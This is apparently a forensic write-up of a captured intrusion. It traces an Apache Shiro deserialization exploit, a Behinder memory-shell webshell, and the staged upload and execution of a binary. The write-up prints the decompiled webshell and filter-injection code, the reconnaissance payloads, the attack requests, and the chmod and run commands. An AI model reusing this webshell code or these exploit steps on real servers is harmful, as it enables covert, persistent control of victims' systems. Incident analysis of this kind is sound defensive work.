And a series of similar requests. Based on the JSESSIONID, it indicated a Java backend. The rememberMe=deleteMe response is characteristic of attempts to exploit the Apache Shiro deserialization vulnerability (CVE-2016-4437). The earlier part involved brute-forcing to discover the AES encryption key. Looking further, a successful attempt was found:

GET / HTTP/1.1
Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X
...

The server responded:

HTTP/1.1 302
Location: http://10.1.33.69:8080/login
...

The absence of a new Set-Cookie header indicated that the AES key had been successfully matched. Subsequently:

GET / HTTP/1.1
Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p
Authorization: Basic d2hvYW1p
...

Server response:

HTTP/1.1 200
...

$$$cm9vdAo=$$$

Decoding cm9vdAo= yields root. Decoding the Authorization header value d2hvYW1p yields whoami, confirming RCE was achieved. Subsequent commands were executed, returning:

pwd
/

ls -la
total 21844
drwxr-xr-x   1 root root     4096 Jan  6 03:43 .
drwxr-xr-x   1 root root     4096 Jan  6 03:43 ..
-rwxr-xr-x   1 root root        0 Jan  6 03:43 .dockerenv
drwxr-xr-x   1 root root     4096 Oct 21  2016 bin
drwxr-xr-x   2 root root     4096 Sep 12  2016 boot
drwxr-xr-x   5 root root      340 Jan  6 03:43 dev
drwxr-xr-x   1 root root     4096 Jan  6 03:43 etc
drwxr-xr-x   2 root root     4096 Sep 12  2016 home
drwxr-xr-x   1 root root     4096 Oct 31  2016 lib
drwxr-xr-x   2 root root     4096 Oct 20  2016 lib64
drwxr-xr-x   2 root root     4096 Oct 20  2016 media
drwxr-xr-x   2 root root     4096 Oct 20  2016 mnt
drwxr-xr-x   2 root root     4096 Oct 20  2016 opt
dr-xr-xr-x 167 root root        0 Jan  6 03:43 proc
drwx------   2 root root     4096 Oct 20  2016 root
drwxr-xr-x   3 root root     4096 Oct 20  2016 run
drwxr-xr-x   2 root root     4096 Oct 20  2016 sbin
-rw-r--r--   1 root root 22290368 Dec 19  2019 shirodemo-1.0-SNAPSHOT.jar
drwxr-xr-x   2 root root     4096 Oct 20  2016 srv
dr-xr-xr-x  13 root root        0 Jan  6 03:43 sys
drwxrwxrwt   1 root root     4096 Jan  6 03:43 tmp
drwxr-xr-x   1 root root     4096 Oct 31  2016 usr
drwxr-xr-x   1 root root     4096 Oct 31  2016 var

w
 05:56:48 up 9 days,  2:03,  0 users,  load average: 1.44, 0.84, 0.33
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT

Nothing particularly useful was found. Subsequently, a request was sent:

POST / HTTP/1.1
...
Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A==
p: HWmc2TLDoihdlr0N
path: /favicondemo.ico
...

user=yv66vgAAADQB5...GCQ%3D%3D

The server responded:

HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Date: Tue, 06 Jan 2026 05:57:43 GMT
Connection: close

->|Success|<-

No further similar packets were observed, indicating a webshell was likely implanted.

Layer 2: Behinder WebShell Memory-Shell

Direct Base64 decoding of the user parameter from the above POST request revealed a Java class starting with CAFEBABE. Exporting and attempting to open it with Jadx yielded:

Code - Click to show

package com.summersec.x;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.InvalidKeyException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.EnumSet;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.FilterRegistration;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestWrapper;
import javax.servlet.ServletResponse;
import javax.servlet.ServletResponseWrapper;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
  
/* loaded from: download.class */
public final class BehinderFilter extends ClassLoader implements Filter {
    public HttpServletRequest request;
    public HttpServletResponse response;
    public String cs;
    public String Pwd;
    public String path;

    public BehinderFilter() {
        this.request = null;
        this.response = null;
        this.cs = "UTF-8";
        this.Pwd = "eac9fa38330a7535";
        this.path = "/favicondemo.ico";
    }
  
    public BehinderFilter(ClassLoader c) {
        super(c);
        this.request = null;
        this.response = null;
        this.cs = "UTF-8";
        this.Pwd = "eac9fa38330a7535";
        this.path = "/favicondemo.ico";
    }
  
    public Class g(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }
  
    public static String md5(String s) throws NoSuchAlgorithmException {
        String ret = null;
        try {
            MessageDigest m = MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16);
        } catch (Exception e) {
        }
        return ret;
    }
  
    public boolean equals(Object obj) throws NoSuchFieldException, ClassNotFoundException {
        parseObj(obj);
        this.Pwd = md5(this.request.getHeader("p"));
        this.path = this.request.getHeader("path");
        StringBuffer output = new StringBuffer();
        try {
            this.response.setContentType("text/html");
            this.request.setCharacterEncoding(this.cs);
            this.response.setCharacterEncoding(this.cs);
            output.append(addFilter());
        } catch (Exception var7) {
            output.append("ERROR:// " + var7.toString());
        }
        try {
            this.response.getWriter().print("->|" + output.toString() + "|<-");
            this.response.getWriter().flush();
            this.response.getWriter().close();
            return true;
        } catch (Exception e) {
            return true;
        }
    }
  
    public void parseObj(Object obj) throws NoSuchFieldException, ClassNotFoundException {
        if (obj.getClass().isArray()) {
            Object[] data = (Object[]) obj;
            this.request = (HttpServletRequest) data[0];
            this.response = (HttpServletResponse) data[1];
            return;
        }
        try {
            Class clazz = Class.forName("javax.servlet.jsp.PageContext");
            this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
            this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
        } catch (Exception e) {
            if (obj instanceof HttpServletRequest) {
                this.request = (HttpServletRequest) obj;
                try {
                    Field req = this.request.getClass().getDeclaredField("request");
                    req.setAccessible(true);
                    HttpServletRequest request2 = (HttpServletRequest) req.get(this.request);
                    Field resp = request2.getClass().getDeclaredField("response");
                    resp.setAccessible(true);
                    this.response = (HttpServletResponse) resp.get(request2);
                } catch (Exception e2) {
                    try {
                        this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
                    } catch (Exception e3) {
                    }
                }
            }
        }
    }
  
    public String addFilter() throws Exception {
        Class filterMap;
        ServletContext servletContext = this.request.getServletContext();
        String filterName = this.path;
        String url = this.path;
        if (servletContext.getFilterRegistration(filterName) == null) {
            StandardContext standardContext = null;
            Field stateField = null;
            try {
                try {
                    Field contextField = servletContext.getClass().getDeclaredField("context");
                    contextField.setAccessible(true);
                    ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext);
                    Field contextField2 = applicationContext.getClass().getDeclaredField("context");
                    contextField2.setAccessible(true);
                    standardContext = (StandardContext) contextField2.get(applicationContext);
                    stateField = LifecycleBase.class.getDeclaredField("state");
                    stateField.setAccessible(true);
                    stateField.set(standardContext, LifecycleState.STARTING_PREP);
                    FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this);
                    filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
                    Method filterStartMethod = StandardContext.class.getMethod("filterStart", new Class[0]);
                    filterStartMethod.setAccessible(true);
                    filterStartMethod.invoke(standardContext, (Object[]) null);
                    stateField.set(standardContext, LifecycleState.STARTED);
                    try {
                        filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                    } catch (Exception e) {
                        filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
                    }
                    Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]);
                    Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]);
                    for (int i = 0; i < filterMaps.length; i++) {
                        Object filterMapObj = filterMaps[i];
                        Method findFilterMaps2 = filterMap.getMethod("getFilterName", new Class[0]);
                        String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]);
                        if (name.equalsIgnoreCase(filterName)) {
                            filterMaps[i] = filterMaps[0];
                            filterMaps[0] = filterMapObj;
                        }
                    }
                    stateField.set(standardContext, LifecycleState.STARTED);
                    return "Success";
                } catch (Exception var22) {
                    String var11 = var22.getMessage();
                    stateField.set(standardContext, LifecycleState.STARTED);
                    return var11;
                }
            } catch (Throwable th) {
                stateField.set(standardContext, LifecycleState.STARTED);
                throw th;
            }
        }
        return "Filter already exists";
    }
  
    /* JADX WARN: Multi-variable type inference failed */
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IllegalAccessException, NoSuchPaddingException, ServletException, NoSuchMethodException, NoSuchAlgorithmException, SecurityException, InvalidKeyException, IOException, IllegalArgumentException, InvocationTargetException {
        HttpSession session = ((HttpServletRequest) req).getSession();
        ServletRequest servletRequestInvoke = req;
        ServletResponse servletResponseInvoke = resp;
        if (!(servletRequestInvoke instanceof RequestFacade)) {
            try {
                Method getRequest = ServletRequestWrapper.class.getMethod("getRequest", new Class[0]);
                servletRequestInvoke = getRequest.invoke(this.request, new Object[0]);
                while (!(servletRequestInvoke instanceof RequestFacade)) {
                    servletRequestInvoke = getRequest.invoke(servletRequestInvoke, new Object[0]);
                }
            } catch (Exception e) {
            }
        }
        try {
            if (!(servletResponseInvoke instanceof ResponseFacade)) {
                Method getResponse = ServletResponseWrapper.class.getMethod("getResponse", new Class[0]);
                servletResponseInvoke = getResponse.invoke(this.response, new Object[0]);
                while (!(servletResponseInvoke instanceof ResponseFacade)) {
                    servletResponseInvoke = getResponse.invoke(servletResponseInvoke, new Object[0]);
                }
            }
        } catch (Exception e2) {
        }
        Map obj = new HashMap();
        obj.put("request", servletRequestInvoke);
        obj.put("response", servletResponseInvoke);
        obj.put("session", session);
        try {
            session.putValue("u", this.Pwd);
            Cipher c = Cipher.getInstance("AES");
            c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));
            new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
        } catch (Exception var7) {
            var7.printStackTrace();
        }
    }
  
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
  
    public void init(FilterConfig filterConfig) throws ServletException {
    }
  
    public void destroy() {
    }
}

This revealed a Behinder webshell. Analysis showed it encrypts/decrypts requests and responses using AES. If the request header contains p, it takes the MD5 hash of the p value and uses the first 16 characters as the AES key. Based on the earlier request, p: HWmc2TLDoihdlr0N, its MD5 hash is 1f2c8075acd3d118674e99f8e61b9596. The first 16 characters, 1f2c8075acd3d118, are the AES password. It also set /favicondemo.ico as the C2 communication address, confirming that the POST data observed at this URL were the communication records.

Next, examining the previously identified POST packets, HTTP stream 40552 contained a large number of exchanges. A Python script was written to decrypt the first request payload using the key 1f2c8075acd3d118:

import Crypto.Cipher
from Crypto.Cipher import AES
import base64

def decrypt_behinder(data, key_str):
    key = key_str.encode('utf-8')
    raw_data = base64.b64decode(data)
    cipher = AES.new(key, AES.MODE_ECB)
    decrypted = cipher.decrypt(raw_data)
    # Remove PKCS5Padding
    padding_len = decrypted[-1]
    return decrypted[:-padding_len]

key = "1f2c8075acd3d118"
body = "qjYfBvYIRKQ...ciIgehs="

data=decrypt_behinder(body, key)
print(data)
with open(f"payload2.bin", "wb") as file:
	file.write(data)

The output started with CAFEBABE, the Java class file header. Opening it with Jadx:

Code - Click to show

package net.qmrqiui;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

/* compiled from: Echo.java */
/* loaded from: payload-favicondemo.ico.class */
public class Fmdrfajtrr {
    public static String content;
    public static String payloadBody;
    private Object Request;
    private Object Response;
    private Object Session;

    private byte[] Encrypt(byte[] bArr) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(1, secretKeySpec);
        byte[] bArrDoFinal = cipher.doFinal(bArr);
        try {
            Class<?> cls = Class.forName("java.util.Base64");
            Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null);
            bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal);
        } catch (Throwable th) {
            Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance();
            bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes();
        }
        return bArrDoFinal;
    }

    public Fmdrfajtrr() {
        content = "";
        content += "1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v";
    }

    public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException {
        Map<String, String> result = new LinkedHashMap<>();
        try {
            try {
                fillContext(obj);
                result.put("status", "success");
                result.put("msg", content);
                try {
                    Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                    Method write = so.getClass().getMethod("write", byte[].class);
                    write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                    so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
                    so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
                    return true;
                } catch (Exception e) {
                    e.printStackTrace();
                    return true;
                }
            } catch (Exception e2) {
                result.put("msg", e2.getMessage());
                result.put("status", "success");
                try {
                    Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                    Method write2 = so2.getClass().getMethod("write", byte[].class);
                    write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                    so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]);
                    so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]);
                    return true;
                } catch (Exception e3) {
                    e3.printStackTrace();
                    return true;
                }
            }
        } catch (Throwable th) {
            try {
                Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                Method write3 = so3.getClass().getMethod("write", byte[].class);
                write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]);
                so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]);
            } catch (Exception e4) {
                e4.printStackTrace();
            }
            throw th;
        }
    }

    private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        System.getProperty("java.version");
        sb.append("{");
        for (String key : entity.keySet()) {
            sb.append("\"" + key + "\":\"");
            String value = entity.get(key);
            if (encode) {
                value = base64encode(value.getBytes());
            }
            sb.append(value);
            sb.append("\",");
        }
        if (sb.toString().endsWith(",")) {
            sb.setLength(sb.length() - 1);
        }
        sb.append("}");
        return sb.toString();
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
            this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
            this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);
        } else {
            Map<String, Object> objMap = (Map) obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }
        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
    }

    private String base64encode(byte[] data) throws Exception {
        String result;
        System.getProperty("java.version");
        try {
            getClass();
            Class Base64 = Class.forName("java.util.Base64");
            Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
            result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
        } catch (Throwable th) {
            getClass();
            Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
            String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data);
            result = result2.replace("\n", "").replace("\r", "");
        }
        return result;
    }

    private byte[] getMagic() throws Exception {
        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
        Random random = new Random();
        byte[] buf = new byte[magicNum];
        for (int i = 0; i < buf.length; i++) {
            buf[i] = (byte) random.nextInt(256);
        }
        return buf;
    }
}

It simply returned the data string 1oMRO2dvZFDzLDMX8h...mqNGvJnB3v and base64 encoded it. Decoding the response confirmed this. Continuing to decrypt and reverse the second request:

Code - Click to show

package org.arkpoti.qegfs;

import java.io.File;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.SocketException;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
import java.util.Random;
import java.util.Set;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

/* compiled from: BasicInfo.java */
/* loaded from: payload-favicondemo(2).ico.class */
public class Huhmocmx {
    public static String whatever;
    private Object Request;
    private Object Response;
    private Object Session;

    private byte[] Encrypt(byte[] bArr) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(1, secretKeySpec);
        byte[] bArrDoFinal = cipher.doFinal(bArr);
        try {
            Class<?> cls = Class.forName("java.util.Base64");
            Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null);
            bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal);
        } catch (Throwable th) {
            Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance();
            bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes();
        }
        return bArrDoFinal;
    }

    public Huhmocmx() {
        whatever = "";
        whatever += "nrUlBDIWY47Voq6K0Ro3FKVOpcOgruIO6bGpwEV5tlFcaaUoHwS2bwC1fwgrXuOLNdQIFovDsRYeeoKSIJAgcfLk3PaESDGIkdJTGGMuoc9bXnBzFry0xgmVYy8gHAKaQFUB0MpL39iuIgGUqA3VdLFOQTuLL83nO2jM5E5molVy30DbTUSYVuJryWB0l7nBKIzDn8axk7wPmDyQ6NXiDT68y3aWEWiwI6hnv2sJZwhdIABULpbv0U3C0ble2IrQjKbba5YkdEig5PzTa1oGYgW9oJSyYvtAeABtnzcY6UmgPYRHs37GWJdPKRctwReHJ3SmLYMqeJyyCDp4mURvctnDgfakpjGxmrvTpGYex8mtsogYatwG3yHso81lLM0jFfYYe3QY7Qywg6SL5GgP9p5Ry2ZZ1ksOfxSguSw3KeIjCV7RaGoZyO5YiC8zWWoLAfERhdKlMGixQv6DrR1LNuI0UdJTRWjEtZ0OEFtiG5AXxaxEtxfxUcg0HBJqxfs5aeCurRoGbg3c5M1TaTxFnDx2tnibB9XyS6FGzmOibZBGV8SJo2vf3MuUXwXrI3w8hWsLu4oELUljNSUGhwO5X1gUdDL4XMk0j1dlTIbcjyYnwwAKF9tP3Hlq6ryo9SIbUkJ7gYFl5V09WKjPfZm65qnHGROfrd5n2d7hePLJ0GyD867DHO9K4U3NAbIgKQovDlFSsmjMAcE1jjeAuMl90xvpHeRZucgwZEzZdJb3e4wyufhmXkJy";
    }

    public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException {
        Map<String, String> result = new HashMap<>();
        try {
            fillContext(obj);
            StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
            Map<String, String> env = System.getenv();
            for (String name : env.keySet()) {
                basicInfo.append(name + "=" + env.get(name) + "<br/>");
            }
            basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
            Properties props = System.getProperties();
            Set<Map.Entry<Object, Object>> entrySet = props.entrySet();
            for (Map.Entry<Object, Object> entry : entrySet) {
                basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
            }
            String currentPath = new File("").getAbsolutePath();
            String driveList = "";
            File[] roots = File.listRoots();
            for (File f : roots) {
                driveList = driveList + f.getPath() + ";";
            }
            String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
            Map<String, String> entity = new HashMap<>();
            entity.put("basicInfo", basicInfo.toString());
            entity.put("currentPath", currentPath);
            entity.put("driveList", driveList);
            entity.put("osInfo", osInfo);
            entity.put("arch", System.getProperty("os.arch"));
            entity.put("localIp", getInnerIp());
            result.put("status", "success");
            result.put("msg", buildJson(entity, true));
            try {
                Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                Method write = so.getClass().getMethod("write", byte[].class);
                write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
                so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
                return true;
            } catch (Exception e) {
                return true;
            }
        } catch (Exception e2) {
            try {
                Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                Method write2 = so2.getClass().getMethod("write", byte[].class);
                write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]);
                so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]);
                return true;
            } catch (Exception e3) {
                return true;
            }
        } catch (Throwable th) {
            try {
                Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                Method write3 = so3.getClass().getMethod("write", byte[].class);
                write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]);
                so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]);
            } catch (Exception e4) {
            }
            throw th;
        }
    }

    private String getInnerIp() throws SocketException {
        String ips = "";
        try {
            Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces();
            while (netInterfaces.hasMoreElements()) {
                NetworkInterface netInterface = netInterfaces.nextElement();
                Enumeration<InetAddress> addresses = netInterface.getInetAddresses();
                while (addresses.hasMoreElements()) {
                    InetAddress ip = addresses.nextElement();
                    if (ip != null && (ip instanceof Inet4Address)) {
                        ips = ips + ip.getHostAddress() + " ";
                    }
                }
            }
        } catch (Exception e) {
        }
        return ips.replace("127.0.0.1", "").trim();
    }

    private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty("java.version");
        sb.append("{");
        for (String key : entity.keySet()) {
            sb.append("\"" + key + "\":\"");
            String value = entity.get(key).toString();
            if (encode) {
                if (version.compareTo("1.9") >= 0) {
                    getClass();
                    Class Base64 = Class.forName("java.util.Base64");
                    Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
                    value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                } else {
                    getClass();
                    Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
                    value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", "");
                }
            }
            sb.append(value);
            sb.append("\",");
        }
        sb.setLength(sb.length() - 1);
        sb.append("}");
        return sb.toString();
    }

    private String base64encode(byte[] data) throws Exception {
        String result;
        System.getProperty("java.version");
        try {
            getClass();
            Class Base64 = Class.forName("java.util.Base64");
            Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
            result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
        } catch (Throwable th) {
            getClass();
            Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
            String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data);
            result = result2.replace("\n", "").replace("\r", "");
        }
        return result;
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
            this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
            this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);
        } else {
            Map<String, Object> objMap = (Map) obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }
        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
    }

    private byte[] getMagic() throws Exception {
        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
        Random random = new Random();
        byte[] buf = new byte[magicNum];
        for (int i = 0; i < buf.length; i++) {
            buf[i] = (byte) random.nextInt(256);
        }
        return buf;
    }
}

This retrieved system information. Decoding the response confirmed this. Subsequent decryption and reversal revealed the execution of several system commands, including listing /tmp, /var, /var/tmp. Later, a file write operation was found:

package sun.yxiw;

...

/* compiled from: FileOperation.java */
/* loaded from: payload-favicondemo(18).ico.class */
public class Auydc {
	...
    public Auydc() {
        mode = "";
        mode += "update";
        path = "";
        path += "/var/tmp/out";
        blockIndex = "";
        blockIndex += "2";
        blockSize = "";
        blockSize += "30720";
        content = "";
        content += "h61Bx+...X2zlQkI5M";
        this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
    }
	...
}

This appended Base64-decoded content to /var/tmp/out. Many similar append requests followed. Wireshark's Export Objects feature was used to export all 737 files related to /favicondemo.ico. A Python script was written to decrypt and save them as class files or text files based on content. This revealed the multi-part upload of a binary. Finally, a hash check was performed:

package sun.pquyv;

...

/* compiled from: FileOperation.java */
/* loaded from: payload-favicondemo(722).ico.class */
public class Yfnc {
	...
    public Yfnc() {
        mode = "";
        mode += "check";
        path = "";
        path += "/var/tmp/out";
        hash = "";
        hash += "a0275c1593af1adb";
        this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
    }

    private String checkFileHash(String path2) throws Exception {
        FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2);
        if (ch != null && ch.isOpen()) {
            ch.close();
        }
        byte[] input = getFileData(path2);
        if (input == null || input.length == 0) {
            return null;
        }
        MessageDigest md5 = MessageDigest.getInstance("MD5");
        md5.update(input);
        byte[] byteArray = md5.digest();
        StringBuilder sb = new StringBuilder();
        for (byte b : byteArray) {
            sb.append(String.format("%02x", Byte.valueOf(b)));
        }
        return sb.substring(0, 16);
    }
	...
}

Execution permissions were granted:

package net.zlzbr.fsio.vbycsd;

...

/* compiled from: Cmd.java */
/* loaded from: payload-favicondemo(734).ico.class */
public class Xxzrrw {
    public static String cmd;
    public static String path;
    public static String whatever;
    private static String status = "success";
    private Object Request;
    private Object Response;
    private Object Session;
    ...
    public Xxzrrw() {
        cmd = "";
        cmd += "cd /var/tmp/ ;chmod +x out";
        path = "";
        path += "/var/tmp/";
    }
    ...
}

Then it was executed:

package org.zhnnj;

...

/* compiled from: Cmd.java */
/* loaded from: payload-favicondemo(736).ico.class */
public class Imrdoaaxs {
	...
    public Imrdoaaxs() {
        cmd = "";
        cmd += "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=";
        path = "";
        path += "/var/tmp/";
    }
    ...
}

This provided an aes-key: IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=. No further HTTP communication occurred after this.

Layer 3: Custom Shell

Following the HTTP stream, a TCP stream communication was found. Dumping it revealed:

1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
